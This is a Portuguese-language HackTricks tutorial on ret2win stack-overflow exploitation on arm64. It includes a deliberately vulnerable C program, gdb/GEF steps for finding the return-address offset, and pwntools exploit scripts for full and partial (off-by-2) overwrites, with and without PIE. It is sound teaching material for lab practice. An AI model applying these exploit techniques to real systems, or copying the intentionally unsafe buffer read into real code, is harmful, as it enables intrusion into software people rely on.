Ret2win - arm64

Reading time: 5 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Encontre uma introdução ao arm64 em:

Introduction to ARM64v8

Code

c
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compile sem pie e canário:

bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

Encontrando o offset

Opção de padrão

Este exemplo foi criado usando GEF:

Inicie o gdb com gef, crie um padrão e use-o:

bash
gdb -q ./ret2win
pattern create 200
run

arm64 tentará retornar ao endereço no registrador x30 (que foi comprometido), podemos usar isso para encontrar o deslocamento do padrão:

bash
pattern search $x30

O deslocamento é 72 (9x48).

Opção de deslocamento da pilha

Comece obtendo o endereço da pilha onde o registrador pc está armazenado:

bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Agora defina um ponto de interrupção após o read() e continue até que o read() seja executado e defina um padrão como 13371337:

b *vulnerable_function+28
c

Encontre onde esse padrão está armazenado na memória:

Então: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

Sem PIE

Regular

Obtenha o endereço da função win:

bash
objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Na verdade, isso vai ser mais como um off-by-2 no PC armazenado na pilha. Em vez de sobrescrever todo o endereço de retorno, vamos sobrescrever apenas os últimos 2 bytes com 0x06c4.

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Você pode encontrar outro exemplo de off-by-one em ARM64 em https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, que é um verdadeiro off-by-one em uma vulnerabilidade fictícia.

Com PIE

tip

Compile o binário sem o argumento -no-pie

Off-by-2

Sem um leak, não sabemos o endereço exato da função vencedora, mas podemos saber o offset da função em relação ao binário e, sabendo que o endereço de retorno que estamos sobrescrevendo já está apontando para um endereço próximo, é possível vazar o offset para a função win (0x7d4) neste caso e apenas usar esse offset:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks